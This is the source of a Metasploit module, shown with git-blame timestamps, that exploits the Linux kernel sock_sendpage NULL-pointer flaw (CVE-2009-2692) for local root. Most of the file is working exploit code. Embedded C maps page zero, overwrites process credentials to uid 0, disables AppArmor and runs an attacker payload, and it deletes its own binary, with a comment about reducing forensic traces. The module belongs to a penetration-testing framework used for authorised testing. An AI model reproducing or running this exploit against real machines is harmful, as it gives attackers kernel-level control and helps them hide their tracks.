Files
metasploit-gs/modules/exploits/linux/local/sock_sendpage.rb
T

449 lines
11 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/linux_kernel'
2012-06-22 17:45:49 -06:00
require 'msf/core/exploit/local/linux'
2012-10-23 13:24:05 -05:00
require 'msf/core/exploit/exe'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-09-05 13:41:25 -05:00
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
proto_ops struct for several protocols, leading to NULL being
2017-08-28 20:17:58 -04:00
dereferenced and used as a function pointer. By using mmap(2) to map
2013-09-05 13:41:25 -05:00
page 0, an attacker can execute arbitrary code in the context of the
kernel.
Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'OSVDB', '56992' ],
2015-10-27 12:41:32 -05:00
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
2013-09-05 13:41:25 -05:00
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
2013-09-05 13:41:25 -05:00
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
2015-04-21 14:17:19 -05:00
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
@executable_path
2013-09-05 13:41:25 -05:00
end
def exploit
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
#endif
|
current_task_struct_h(sc)
2015-04-21 14:17:19 -05:00
if datastore["DEBUG_EXPLOIT"]
cparser.parse "#define DEBUG\n"
end
2013-09-05 13:41:25 -05:00
case target.arch.first
when ARCH_X86
main = %q^
struct _IO_FILE;
typedef void _IO_lock_t;
struct _IO_marker {
struct _IO_marker *_next;
struct _IO_FILE *_sbuf;
int _pos;
};
typedef unsigned int __gid_t;
typedef long __off_t;
typedef int __pid_t;
typedef
struct {
long __val[2];
} __quad_t;
typedef int __ssize_t;
typedef unsigned int __uid_t;
extern void exit(int __status);
extern int open(const char *__file, int __oflag, ...);
extern void perror(const char *__s);
extern int printf(const char *__format, ...);
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int strcmp(const char *__s1, const char *__s2);
extern int unlink(const char *__name);
typedef __quad_t __off64_t;
extern __pid_t fork(void);
extern int ftruncate(int __fd, __off_t __length);
extern __gid_t getgid(void);
extern __uid_t getuid(void);
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
typedef __off_t off_t;
typedef __ssize_t ssize_t;
struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[40];
};
extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count);
typedef struct _IO_FILE FILE;
extern int fclose(FILE *__stream);
extern FILE *fopen(const char *__filename, const char *__modes);
extern int fscanf(FILE *__stream, const char *__format, ...);
// Refactor missed these, added manually by the simple expedient of
// printf
#define PF_BLUETOOTH 31
#define PF_APPLETALK 5
#define PF_IPX 4
#define PF_IRDA 23
#define PF_X25 9
#define PF_AX25 3
#define PF_PPPOX 24
#define EOF -1
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define O_CREAT 64
#define O_RDWR 2
#define SOCK_DGRAM 2
/*
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
*/
// Only print to stdout if we're debugging. This reduces our forensics
// footprint a touch by preventing our debugging strings from showing up
// in the binary when using the exploit for reals.
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#undef fscanf
2012-07-15 20:29:48 -06:00
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif
#define NULL ((void*)0)
#define DOMAINS_STOP -1
2012-07-15 20:29:48 -06:00
const int domains[] = {
2013-08-30 16:28:54 -05:00
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};
2012-07-15 20:29:48 -06:00
int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
static unsigned long get_kernel_sym(char *name)
{
2013-08-30 16:28:54 -05:00
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
dprintf("Unable to obtain symbol listing!\n");
2013-08-30 16:28:54 -05:00
return 0;
}
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
dprintf(" [+] Resolved %s to %p\n", name, (void *)addr);
2013-08-30 16:28:54 -05:00
fclose(f);
return addr;
}
}
fclose(f);
return 0;
2012-07-15 20:29:48 -06:00
}
static void
change_cred(void)
{
2013-08-30 16:28:54 -05:00
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return;
2012-07-15 20:29:48 -06:00
}
int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
2013-08-30 16:28:54 -05:00
got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
2012-07-15 20:29:48 -06:00
}
SHELLCODE
2012-07-15 20:29:48 -06:00
int shellcode_size = 0;
int main(int argc, char **argv) {
2013-08-30 16:28:54 -05:00
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();
dprintf("argv[0] = %s\n", argv[0]);
unlink(argv[0]);
2013-08-30 16:28:54 -05:00
uid = getuid(), gid = getgid();
mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
dprintf("Mapped zero page!\n");
2013-08-30 16:28:54 -05:00
} else {
exit(1);
}
// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
for (i = 0; i < 16; i++) {
dprintf("\\\\x%02x", (unsigned char)mapped[i]);
2013-08-30 16:28:54 -05:00
}
dprintf("\n");
2013-08-30 16:28:54 -05:00
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//dprintf("Next domain ... ");
2013-08-30 16:28:54 -05:00
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
dprintf("Got domain[%d]\n", d);
2013-08-30 16:28:54 -05:00
break;
}
if (out_fd < 0) {
perror("socket");
2013-08-30 16:28:54 -05:00
exit(1);
}
}
2013-08-30 16:28:54 -05:00
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
dprintf("Opened temp file: %d\n", in_fd);
2013-08-30 16:28:54 -05:00
unlink(template);
dprintf("Calling ftruncate\n");
2013-08-30 16:28:54 -05:00
ftruncate(in_fd, 4096);
dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
2013-08-30 16:28:54 -05:00
sendfile(out_fd, in_fd, NULL, 4096);
dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
dprintf("UID: %d GID: %d\n", getuid(), getgid());
2013-08-30 16:28:54 -05:00
func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
2013-08-30 16:28:54 -05:00
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
dprintf("Forking before calling shellcode: 0x%p\n", func);
2013-08-30 16:28:54 -05:00
//sigtrap();
if (fork()) {
exit(0);
}
2013-08-30 16:28:54 -05:00
func();
return got_ring0;
2012-07-15 20:29:48 -06:00
}
2012-07-15 20:29:48 -06:00
^
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c(payload.encoded, 64, "shellcode")
2013-08-30 16:28:54 -05:00
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
2013-08-30 16:28:54 -05:00
cparser.parse(main, "main.c")
#$stderr.puts cparser.factorize
#return
2013-08-30 16:28:54 -05:00
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
end
sc.assemble
sc.c_set_default_entrypoint
2013-08-30 16:28:54 -05:00
begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
2015-04-21 11:14:03 -05:00
output.each_line { |line| vprint_status(line.chomp) }
2013-08-30 16:28:54 -05:00
end
end